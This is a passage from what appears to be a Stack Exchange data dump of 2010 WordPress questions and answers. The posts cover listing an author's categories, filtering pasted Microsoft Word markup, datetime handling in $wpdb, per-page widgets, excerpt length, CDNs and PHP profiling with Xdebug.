class=&quot;thinkingTab&quot;&amp;gt;&amp;lt;a&amp;gt;Thinking About&amp;lt;/a&amp;gt; &amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a&amp;gt;Articles&amp;lt;/a&amp;gt; &amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;  &#xA;                        &amp;lt;li&amp;gt;&amp;lt;a&amp;gt;Reactions&amp;lt;/a&amp;gt; &amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;/ul&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div class=&quot;authorBio tab&quot;&amp;gt; &#xA;                            &amp;lt;p class=&quot;center&quot;&amp;gt;'&#xA;                            .$author-&amp;gt;description.  &#xA;                            '&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;&#xA;                        &amp;lt;div class=&quot;authorThink tab&quot;&amp;gt; &#xA;                            &amp;lt;p class=&quot;center&quot;&amp;gt;';&#xA;            $return .= &#xA;$cat_array = array();&#xA;$args=array(&#xA; 'author' =&amp;gt; get_the_author_meta('id'),&#xA; 'showposts'=&amp;gt;-1,&#xA; 'caller_get_posts'=&amp;gt;1&#xA;);&#xA;$author_posts = get_posts($args);&#xA;if( $author_posts ) {&#xA;  foreach ($author_posts as $author_post ) {&#xA;    foreach(get_the_category($author_post-&amp;gt;ID) as $category) {&#xA;      $cat_array[$category-&amp;gt;term_id] =  $category-&amp;gt;term_id;&#xA;    }&#xA;  }&#xA;}&#xA;&#xA;$cat_ids = implode(',', $cat_array);&#xA;$output = strtr( wp_list_categories( 'include='.$cat_ids.'&amp;amp;title_li=&amp;amp;style=none&amp;amp;echo=0' ), array( '&amp;lt;br /&amp;gt;' =&amp;gt; ' / ' ) );&#xA;echo preg_replace( '@\s/\s\n$@', '', $output );&#xA;            $return .=          '&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;';&#xA;    }&#xA;&#xA;    $return = trim($return, ', ');&#xA;&#xA;    if ( ! $echo )&#xA;        return $return;&#xA;    echo $return;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any insight or ideas much appreciated, thanks!&lt;/p&gt;&#xA;" OwnerUserId="325" LastActivityDate="2010-09-20T07:56:40.950" Title="List categories for author: list_categories function inside list_authors function" Tags="&lt;categories&gt;" AnswerCount="2" />
  <row Id="814" PostTypeId="2" ParentId="813" CreationDate="2010-08-24T12:24:54.100" Score="1" ViewCount="" Body="&lt;p&gt;You try to debug your PHP script here via the community. The best thing you can do with PHP issues is to find the root-cause on your own so you learn PHP. Learning is the process of making errors and then to understand how to prevent them in the future. This is something that you can only do on your own, it's nothing a community can do instead of you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, to learn more about arrays, please visit the PHP documentation: &lt;a href=&quot;http://www.php.net/manual/en/language.types.array.php.&quot; rel=&quot;nofollow&quot;&gt;Arrays&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next to false usage of PHP, you might make false use of HTML as well. But the HTML problems are normally easier to find, so just start with one and then with the other. Start with PHP in your case :).&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-24T12:24:54.100" CommentCount="5" />
  <row Id="815" PostTypeId="2" ParentId="807" CreationDate="2010-08-24T12:33:50.033" Score="4" ViewCount="" Body="&lt;p&gt;Wordpress is &lt;strong&gt;not&lt;/strong&gt; designed to have a replace-able database layer. Computer Science has some different concepts in it's chest to deal with different databases in the same application on different level of abstraction, Wordpress does not tend to make use of any of such. To say it in more simple words: Not at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But wordpress offers the ability to replace it's own code with some other code, for example the whole database class. That is not always (read: normally) enough to replace the whole database layer but helps tinkering. The WPDB class replacing &lt;a href=&quot;http://wordpress.org/extend/plugins/hyperdb/&quot; rel=&quot;nofollow&quot;&gt;HyperDB&lt;/a&gt; for example does not add a new database layer in full, but handles multiple MySQL servers instead of one, which is a well known example (this is considered bad practice to do with PHP, &lt;a href=&quot;http://forums.mysql.com/read.php?144,143453,143453&quot; rel=&quot;nofollow&quot;&gt;there are better ways&lt;/a&gt;, but it's a good example what can be done). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next to replacing the database class, Wordpress has the &lt;em&gt;ability&lt;/em&gt; that even more code can be replaced and you can completely change it, e.g. creating an own distribution that takes care of everything regarding the database layer on it's own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to see a real life example on how to replace the whole database layer, so to make wordpress use a totally different type of database server (here: MSSQL instead of the hardcoded MySQL), you find a full distribution and a patch here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.visitmix.com/download&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;WordPress on SQL Server Distro &amp;amp; Patch&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's free software you can study how such a database layer can be implemented, the website provides more information about that topic as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tip: Don't fight Wordpress. Stick to MySQL and that's it. Otherwise look for something else better designed to fit your needs. Just take the right tool for the job.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-08-24T15:50:29.560" LastActivityDate="2010-08-24T15:50:29.560" />
  <row Id="816" PostTypeId="2" ParentId="617" CreationDate="2010-08-24T12:39:30.920" Score="0" ViewCount="" Body="&lt;p&gt;I do from in-place hacking on the server in the guts of a life system to more structured dev / test / stage / life cycle using version control systems and automated tests. It just depends on the job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next to that I report bugs back to the wordpress project when I run over them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For plugin development I try to not re-invent the wheel all the time so to build new ones based on existing principles and patterns.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-24T12:39:30.920" CommunityOwnedDate="2010-08-24T12:39:30.920" />
  <row Id="818" PostTypeId="2" ParentId="805" CreationDate="2010-08-24T13:00:30.013" Score="2" ViewCount="" Body="&lt;p&gt;You want the &lt;a href=&quot;http://wordpress.org/extend/plugins/widget-logic/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Widget Logic Plugin&lt;/strong&gt;&lt;/a&gt; if you're going to use widgets to do this. However, as you have guessed, this is not the best way to do this. I think the best way to achieve what you want to do is to create a custom widget that accesses the posts information if it detects that it's on the correct page. Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_query;&#xA;$custom_data = get_post_meta( $wp_query-&amp;gt;post-&amp;gt;ID, 'your_custom_postmeta_key', true );&#xA;if( is_page() &amp;amp;&amp;amp; !empty( $custom_data ) ){&#xA;  echo $before_widget . $before_title . $title . $after_title;&#xA;  echo apply_filters( 'the_content', $custom_data );&#xA;  echo $after_widget;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you stick that inside the &lt;a href=&quot;http://codex.wordpress.org/Widgets_API&quot; rel=&quot;nofollow&quot;&gt;normal widget structure&lt;/a&gt;, that would be pretty effective at creating a per-page widget that only appears if you're on a page and that page has the meta content relevant to the widget. At that point, you could just use the custom fields that WordPress already provides on the pages to input the custom content.&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-25T00:55:54.290" LastActivityDate="2010-08-25T00:55:54.290" CommentCount="1" />
  <row Id="819" PostTypeId="1" AcceptedAnswerId="827" CreationDate="2010-08-24T13:08:02.650" Score="1" ViewCount="272" Body="&lt;p&gt;I have some users who are posting to a group blog and are able to cut-and-paste but their pastes include things like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!– /* Font Definitions */ @font-face {font-family:”Cambria Math”; panose-1:2 4 5 3 5 4 6 3 2 4; mso-font-charset:1; mso-generic-font-family:roman; mso-font-format:other; mso-font-pitch:variable; mso-font-signature:0 0 0 0 0 0;} @font-face {font-family:Calibri; panose-1:2 15 5 2 2 2 4 3 2 4; mso-font-charset:0; mso-generic-font-family:swiss; mso-font-pitch:variable; mso-font-signature:-520092929 1073786111 9 0 415 0;} @font-face {font-family:”Trebuchet MS”; panose-1:2 11 6 3 2 2 2 2 2 4; mso-font-charset:0; mso-generic-font-family:swiss; mso-font-pitch:variable; mso-font-signature:647 0 0 0 159 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-unhide:no; mso-style-qformat:yes; mso-style-parent:”&quot;; margin-top:0in; margin-right:0in; margin-bottom:10.0pt; margin-left:0in; line-height:115%; mso-pagination:widow-orphan; font-size:12.0pt; font-family:”Trebuchet MS”,”sans-serif”; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-bidi-font-family:”Times New Roman”; mso-bidi-theme-font:minor-bidi; color:black;} p {mso-style-noshow:yes; mso-style-priority:99; mso-margin-top-alt:auto; margin-right:0in; mso-margin-bottom-alt:auto; margin-left:0in; mso-pagination:widow-orphan; font-size:12.0pt; font-family:”Times New Roman”,”serif”; mso-fareast-font-family:”Times New Roman”;} .MsoChpDefault {mso-style-type:export-only; mso-default-props:yes; font-size:12.0pt; mso-ansi-font-size:12.0pt; mso-bidi-font-size:12.0pt; mso-ascii-font-family:”Trebuchet MS”; mso-fareast-font-family:Calibri; mso-fareast-theme-font:minor-latin; mso-hansi-font-family:”Trebuchet MS”; mso-bidi-font-family:”Times New Roman”; mso-bidi-theme-font:minor-bidi; color:black;} .MsoPapDefault {mso-style-type:export-only; margin-bottom:10.0pt; line-height:115%;} @page WordSection1 {size:8.5in 11.0in; margin:1.0in 1.0in 1.0in 1.0in; mso-header-margin:.5in; mso-footer-margin:.5in; mso-paper-source:0;} div.WordSection1 {page:WordSection1;} –&amp;gt;&#xA;&#xA;/* Style Definitions */&#xA;table.MsoNormalTable&#xA;{mso-style-name:”Table Normal”;&#xA;mso-tstyle-rowband-size:0;&#xA;mso-tstyle-colband-size:0;&#xA;mso-style-noshow:yes;&#xA;mso-style-priority:99;&#xA;mso-style-qformat:yes;&#xA;mso-style-parent:”&quot;;&#xA;mso-padding-alt:0in 5.4pt 0in 5.4pt;&#xA;mso-para-margin-top:0in;&#xA;mso-para-margin-right:0in;&#xA;mso-para-margin-bottom:10.0pt;&#xA;mso-para-margin-left:0in;&#xA;line-height:115%;&#xA;mso-pagination:widow-orphan;&#xA;font-size:11.0pt;&#xA;font-family:”Calibri”,”sans-serif”;&#xA;mso-ascii-font-family:Calibri;&#xA;mso-ascii-theme-font:minor-latin;&#xA;mso-fareast-font-family:”Times New Roman”;&#xA;mso-fareast-theme-font:minor-fareast;&#xA;mso-hansi-font-family:Calibri;&#xA;mso-hansi-theme-font:minor-latin;&#xA;mso-bidi-font-family:”Times New Roman”;&#xA;mso-bidi-theme-font:minor-bidi;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What can I do to filter out code like this automatically?&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2010-08-24T18:11:16.823" Title="How can I filter Microsoft Word gunk from pasted content?" Tags="&lt;filters&gt;&lt;microsoft&gt;&lt;wysiwyg&gt;&lt;tinymce&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="1" />
  <row Id="820" PostTypeId="2" ParentId="207" CreationDate="2010-08-24T13:11:16.403" Score="1" ViewCount="" Body="&lt;p&gt;There is a new plugin released:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/wp-simplemeetingconfirmation/&quot; rel=&quot;nofollow&quot;&gt;WP-SimpleMeetingConfirmation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Allows registered and/or non registered users to confirm if they will be present at a planned meeting and optionally add comments and number of participants with them.&lt;/p&gt;&#xA;" OwnerUserId="161" LastActivityDate="2010-08-24T13:11:16.403" />
  <row Id="821" PostTypeId="2" ParentId="819" CreationDate="2010-08-24T13:33:39.633" Score="1" ViewCount="" Body="&lt;p&gt;I'd suggest using Ozh's &lt;a href=&quot;http://wordpress.org/extend/plugins/tinymce-advanced/&quot; rel=&quot;nofollow&quot;&gt;TinyMCE Advanced&lt;/a&gt; plugin. It lets you add a 'Paste from Word' option that takes care of all of that for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you're not interested in that, you have a few more options. Like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_rid_of_mso_junk( $content ){&#xA;  return preg_replace( '@(mso|panose)[^:]{1,25}:[^;]+;(\s+)?(\n+)?@i', '', $content );&#xA;}&#xA;&#xA;add_filter( 'content_save_pre', 'get_rid_of_mso_junk' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just keep adding undesirable declarations to the first capturing set in that regex to add lines that should be removed. E.g.: &lt;code&gt;(mso|panose|other-junk|annoyance)&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="11" LastEditorDisplayName="" LastEditDate="2010-08-24T18:11:16.823" LastActivityDate="2010-08-24T18:11:16.823" CommentCount="1" />
  <row Id="822" PostTypeId="2" ParentId="805" CreationDate="2010-08-24T13:59:38.710" Score="1" ViewCount="" Body="&lt;p&gt;I can successfully control widget display with the &lt;a href=&quot;http://www.semiologic.com/software/widget-contexts/&quot; rel=&quot;nofollow&quot;&gt;Widget Contexts Plugin For WordPress&lt;/a&gt;. I like the way Semiologic Pro is doing it. It's a membership based plugin so no idea if that is what you're looking for:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/Rczzz.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It provides a set of display options for all widgets on any sidebar.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-24T13:59:38.710" />
  <row Id="823" PostTypeId="1" CreationDate="2010-08-24T14:04:52.177" Score="1" ViewCount="1135" Body="&lt;p&gt;I have a custom table with a DATETIME column. I have a function to add records; I would like to add an &lt;code&gt;$expires&lt;/code&gt; argument to this function which can hold a unix timestamp noting when the record should expire. I would like to use &lt;code&gt;$wpdb-&amp;gt;insert()&lt;/code&gt; to populate this column. So far I've been unable to find a WordPress convenience function to massage the timestamp into 'YYYY-MM-DD HH:MM:SS' format. Is there such a builtin, or should I just use &lt;code&gt;$wpdb-&amp;gt;prepare()&lt;/code&gt;, or possibly a third option?&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-08-24T14:15:51.970" Title="$wpdb-&gt;insert() and Values for Datetime Columns?" Tags="&lt;wpdb&gt;" AnswerCount="1" />
  <row Id="824" PostTypeId="2" ParentId="823" CreationDate="2010-08-24T14:15:51.970" Score="1" ViewCount="" Body="&lt;p&gt;Couldn't you just use PHP's &lt;code&gt;date()&lt;/code&gt; function?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$prepared_date = date( 'Y-m-d H:i:s', $expires );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-24T14:15:51.970" CommentCount="3" />
  <row Id="825" PostTypeId="2" ParentId="819" CreationDate="2010-08-24T14:25:04.527" Score="2" ViewCount="" Body="&lt;p&gt;I've worked with clients who face this problem a lot.  The trick, I've found, is to copy-paste into HTML view and then switch back to the Visual editor to tweak formatting if necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is also necessary if copy-pasting from another website.  Sometimes you'll accidentally pull in class definitions and in-line styling from the external source and that can break the display if you don't have those same classes or styles set up or supported by your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be to expose your users to &lt;a href=&quot;http://explore.live.com/windows-live-writer&quot; rel=&quot;nofollow&quot;&gt;Windows Live Writer&lt;/a&gt;.  It's a Microsoft product that's completely free, plays nicely with copy-paste from Word, and can interact with WordPress - you write your post, edit your post, use the built-in spell checker, format the post to display &lt;em&gt;exactly&lt;/em&gt; how you want, then click &quot;Publish&quot; to push your post to WordPress via XMLRPC.  It's a fairly sound system that makes it &lt;em&gt;incredibly&lt;/em&gt; easy to teach a first-time blogger how to blog ... particularly because the UI is so similar to Word to begin with.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-08-24T14:25:04.527" />
  <row Id="826" PostTypeId="2" ParentId="219" CreationDate="2010-08-24T14:58:36.923" Score="0" ViewCount="" Body="&lt;p&gt;Just link your image files from your CSS file, that means you can use the relative path from the CSS file to the images. This is a CSS only solution. No PHP code needed. Work is done by the browser.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-24T14:58:36.923" />
  <row Id="827" PostTypeId="2" ParentId="819" CreationDate="2010-08-24T15:02:20.733" Score="6" ViewCount="" Body="&lt;p&gt;There is a button on the visual text editor built in to WordPress that will strip Microsoft Word formating.  It is labeled &quot;Paste From Word&quot;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/77SR2.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-08-24T15:02:20.733" CommentCount="1" />
  <row Id="828" PostTypeId="1" AcceptedAnswerId="872" CreationDate="2010-08-24T15:12:56.130" Score="2" ViewCount="364" Body="&lt;p&gt;I am having a problem with CPU usage on my website, and am looking for a way to detect (and fix) what is causing it.  A topic not covered in &lt;a href=&quot;http://wordpress.stackexchange.com/questions/199/what-steps-can-i-take-to-optimize-wordpress-in-regard-to-server-load&quot;&gt;this question&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following on &lt;a href=&quot;http://wordpress.stackexchange.com/questions/656/is-there-a-way-to-measure-server-resource-cpu-usage-by-wp-plugins/799#799&quot;&gt;Hakre answer here&lt;/a&gt;, I now realize that what I need to do is profile my PHP calling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it reasonable to put the website on my own computer, run the profiler, and use that information to improve my website?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other suggestions on how to do this in the best way?&lt;/p&gt;&#xA;" OwnerUserId="161" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-09-01T09:32:13.460" LastActivityDate="2010-09-01T09:32:13.460" CommunityOwnedDate="2010-08-24T15:12:56.130" Title="Profiling a WordPress Website for Deployment on Shared Hosting?" Tags="&lt;performance&gt;&lt;server-load&gt;&lt;loading-time&gt;&lt;profiling&gt;" AnswerCount="3" FavoriteCount="4" />
  <row Id="829" PostTypeId="1" AcceptedAnswerId="839" CreationDate="2010-08-24T15:27:31.263" Score="2" ViewCount="174" Body="&lt;p&gt;In your experience, when is the time one needs to start thinking about scaling up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the expected performance of a common WordPress installation on a standard Apache web server, without any &lt;a href=&quot;http://wordpress.stackexchange.com/questions/199/what-steps-can-i-take-to-optimize-wordpress-in-regard-to-server-load&quot;&gt;performance tweaks or plugins&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of page loads (let's assume no caching): Is it in range of 100's/1000's/+ of page loads per second?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of traffic: At which number of users per day can one expect to start hitting performance bottlenecks (ignoring traffic, assuming great connection)?&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2010-08-24T16:23:14.243" Title="What is the expected limit for acceptable performance of WordPress without any adjustments?" Tags="&lt;performance&gt;&lt;server-load&gt;&lt;loading-time&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="830" PostTypeId="1" AcceptedAnswerId="832" CreationDate="2010-08-24T15:27:35.613" Score="1" ViewCount="193" Body="&lt;p&gt;How can you have it so that the site's home page will only show the first X (let's say 300) words of the post?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But without using &quot;more&quot; tag, or hand filled excerpts?  I am looking for a plugin/hack for WP 2.9 and onward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I came across several solutions so far, but am hoping for a recommended solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Challenges I came a cross so far:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What happens in case a tag (for example ) starts on word 295, and ends after word 301 ?&lt;/li&gt;&#xA;&lt;li&gt;Can it be possible to have a different X for the home page , tags page, category page - and so on?&lt;/li&gt;&#xA;&lt;li&gt;Can the format of the text be preserved? (all the images and text formating)?&lt;/li&gt;&#xA;&lt;li&gt;Having the plugin take the least amount of recourses from the server.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="161" LastEditorUserId="161" LastEditorDisplayName="" LastEditDate="2010-08-24T15:32:45.010" LastActivityDate="2010-08-24T15:47:38.037" Title="How to only show the first X words (from each post) on the home page?" Tags="&lt;homepage&gt;&lt;excerpt&gt;&lt;more&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="831" PostTypeId="2" ParentId="828" CreationDate="2010-08-24T15:35:23.687" Score="-1" ViewCount="" Body="&lt;p&gt;Yes, it is perfectly reasonable to profile the website on your own computer. You will need to install the environment, including the webserver and profile the site using a profiler of choice. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Windows, local WordPress installation is extremely easy thanks to the Web Platform Installer. Single-click install WordPress including all prerequisites &lt;a href=&quot;http://www.microsoft.com/web/wordpress/&quot; rel=&quot;nofollow&quot;&gt;from here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="155" LastActivityDate="2010-08-24T15:35:23.687" CommunityOwnedDate="2010-08-24T15:35:23.687" CommentCount="4" />
  <row Id="832" PostTypeId="2" ParentId="830" CreationDate="2010-08-24T15:39:47.773" Score="3" ViewCount="" Body="&lt;p&gt;Changing the word count on the home page is easy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if( is_home() )&#xA;  add_filter( 'excerpt_length', create_function( '', 'return 300;' ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just replicate that code and change the conditional check to add this to other pages. The other option is to just insert the code on the template page (&lt;code&gt;home.php&lt;/code&gt;, &lt;code&gt;tag.php&lt;/code&gt;, etc.), so you know it's going to be set on the correct page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &lt;code&gt;the_excerpt()&lt;/code&gt; will automatically strip shortcodes and html from the content if there's no excerpt provided. You can remove these filters, but it makes it much much harder to do word counts when you're adding markup into the mix. If you want the formatting/text/images preserved, that's what the &lt;code&gt;more&lt;/code&gt; tag is for. It's inserted manually because it's too difficult to automatically figure out in all instances where that break should go.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2010-08-24T15:39:47.773" CommentCount="1" />
  <row Id="833" PostTypeId="2" ParentId="830" CreationDate="2010-08-24T15:47:38.037" Score="1" ViewCount="" Body="&lt;p&gt;You can use the &lt;strong&gt;&lt;a href=&quot;http://www.semiologic.com/software/fancy-excerpt/&quot; rel=&quot;nofollow&quot;&gt;Fancy Excerpt Plugin For WordPress&lt;/a&gt;&lt;/strong&gt; for that and modify it a bit. It preserves the style, does word-counting. You just need to modify this a bit to have your word-count and maybe if you don't like the ellipsis to modify the ending as well.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-08-24T15:47:38.037" CommentCount="1" />
  <row Id="835" PostTypeId="1" AcceptedAnswerId="888" CreationDate="2010-08-24T15:51:57.110" Score="3" ViewCount="360" Body="&lt;p&gt;What are the &lt;strong&gt;options for Content Distribution Networks for use with WordPress&lt;/strong&gt;?  I'd like to their objective pros and cons, their associated plugins or other ways to utilize them, their relative pricing, their appropriate customer profiles/scenarios/use-cases, projects they've been used on if you know of any, and any other relevant information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;This is a community wiki&lt;/strong&gt; and so please provide only one CDN option per answer and please don't duplicate answers. If you have something to include regarding a CDN already listed please either edit the answer or add comments. And &lt;strong&gt;please yote up the solutions you recommend&lt;/strong&gt; and/or think are most viable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;: I found few resources on the web for WordPress+CDN so decided to list them here too:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.cyberciti.biz/tips/wordpress-cdn-content-delivery-network-configuration.html&quot; rel=&quot;nofollow&quot;&gt;HowTo: Configure Wordpress To Use A Content Delivery Network (CDN)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://mark.ossdl.de/2009/08/rewriting-urls-for-wordpress-and-cdn/&quot; rel=&quot;nofollow&quot;&gt;rewriting URLs for using a CDN for your Wordpress blog&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://mark.ossdl.de/2009/09/how-to-copy-your-wordpress-files-to-cloudfront-efficiently/&quot; rel=&quot;nofollow&quot;&gt;how to copy your Wordpress files to CloudFront efficiently&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://yoast.com/cdn-wordpress-blog/&quot; rel=&quot;nofollow&quot;&gt;Using a CDN for your WordPress blog&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.maxcdn.com/wordpress-cdn.php&quot; rel=&quot;nofollow&quot;&gt;Using a CDN with WordPress&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blogperfume.com/plugin-wordpress-caching-with-cdn-integration/&quot; rel=&quot;nofollow&quot;&gt;Plugin: WordPress Caching with CDN Integration&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://WordPress.org/extend/plugins/free-cdn/&quot; rel=&quot;nofollow&quot;&gt;Free CDN Plugin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/cdn-tools/&quot; rel=&quot;nofollow&quot;&gt;CDN Tools Plugin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/my-cdn/&quot; rel=&quot;nofollow&quot;&gt;My CDN Plugin&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-08-24T21:24:18.403" LastActivityDate="2010-08-25T16:57:28.267" CommunityOwnedDate="2010-08-25T16:55:44.820" Title="Options for CDN with WordPress Including Supporting Plugins?" Tags="&lt;options&gt;&lt;cdn&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="4" />
  <row Id="836" PostTypeId="2" ParentId="828" CreationDate="2010-08-24T15:57:01.650" Score="1" ViewCount="" Body="&lt;h1&gt;Profiling with Xdebug&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;I searched for some links so it's easier to read into the topic. I've looked for doing PHP profiling with XDebug, something I would suggest to do:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.xdebug.org/docs/profiler&quot; rel=&quot;nofollow&quot;&gt;Xdebug: Documentation: Profiling PHP Scripts&lt;/a&gt; (Xdebug Documentation)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://eng.genius.com/blog/2010/05/04/xdebug-quickstart-profiling-in-php/&quot; rel=&quot;nofollow&quot;&gt;Xdebug Quickstart: Profiling in PHP&lt;/a&gt; (by Bill Hewitt; 4th May 2010)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://devzone.zend.com/article/2899&quot; rel=&quot;nofollow&quot;&gt;Profiling PHP Applications With xdebug&lt;/a&gt; (by Stefan Priebsch; 31 Dec 2007)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.sitepoint.com/blogs/2007/04/23/faster-php-apps-profile-your-code-with-xdebug/&quot; rel=&quot;nofollow&quot;&gt;Faster PHP Apps – Profile Your Code with Xdebug&lt;/a&gt; (by Paul Annesley; 23 Apr 2007)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Testing_WordPress_Performance&quot; rel=&quot;nofollow&quot;&gt;Wordpress: Codex: Testing WordPress Performance&lt;/a&gt; (Wordpress Documentation)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;To display profiling results on the remote site, &lt;a href=&quot;http://code.google.com/p/webgrind/&quot; rel=&quot;nofollow&quot;&gt;webgrind&lt;/a&gt; might be useful. It's a PHP application that summarizes the profiler output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if it's possible to provide this all in form of a wordpress plugin (at least there is none available I'm aware of and I don't think that there is something available right now), so you might need to do some of the setup / configuration / profiling on your own.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-08-25T09:31:07.007" LastActivityDate="2010-08-25T09:31:07.007" CommunityOwnedDate="2010-08-24T15:57:01.650" />
